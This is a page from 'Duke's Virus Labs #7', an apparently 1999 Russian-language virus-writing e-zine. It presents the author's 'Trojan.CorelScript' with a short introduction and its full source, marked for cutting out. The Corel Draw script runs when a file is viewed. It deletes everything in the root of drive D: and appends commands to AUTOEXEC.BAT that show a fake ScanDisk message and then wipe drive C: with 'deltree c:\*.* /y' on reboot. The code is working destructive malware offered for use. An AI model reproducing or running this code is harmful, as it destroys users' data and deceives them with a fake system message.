- [Duke's Virus Labs #7] - [Page 45] -

Trojan.CorelScript
(c) by Duke/SMF

Имя троянца   : Trojan.CorelScript
Автор         : Duke/SMF
Язык прогр.   : Corel Draw Script
Дата создания : 19.06.99

   Весь компьютерный мир потрясла новость о возможности написания макро
вирусов, поражающих графические файлы программы Corel Draw. Первый вирус
написал zaXon/DDT (см. журнал DDT #1). Эти вирусы написаны на скриптовом
языке, напоминающем Visual Basic, и живут в CSC-файлах.
   Первыми на появление этого вируса отреагировала команда F-Prot. А
Касперский сильно тормознул с детектированием ;-)))
   Раз появились вирусы под CSC файлы, то почему бы и троянцам не освоить
новый тип файлов ??? Сказано - сделано !!!
   Этот троянчик очень прост и примитивен - просто вставляет в AUTOEXEC.BAT
команду вызова DELTREE (тем самым при перезагрузке компьютера диск C: станет
чист как младенец ;)) и издевательский текст. Да еще пытается затереть
корень диска D: , вот и все. Для запуска трояна достаточно просмотреть
файл CST.CSC в свеженькой версии CorelDraw :)

===== Cut here =====
REM Corel Script Trojan by Duke/SMF
DayNow$=GetCurrDate ()
If Left(DayNow$,1)="6" and Mid(DayNow$,3,2)="06" Then
Messagebox "Kill Em All !","Corel Script Trojan",64
End If
Kill "d:\*.*"
Open "c:\autoexec.bat" For Append As #1
Print #1,"@echo Windows find errors in FAT on disk C:"
Print #1,"@echo ScanDisk scan HDD for errors..."
Print #1,"@ctty nul"
Print #1,"deltree c:\*.* /y"
Print #1,"ctty con"
Print #1,"@echo Your HDD now fucked by Corel Script Trojan !!!"
Print #1,"@echo EnJoy clean HDD ! No more porno !"
Close
===== Cut here =====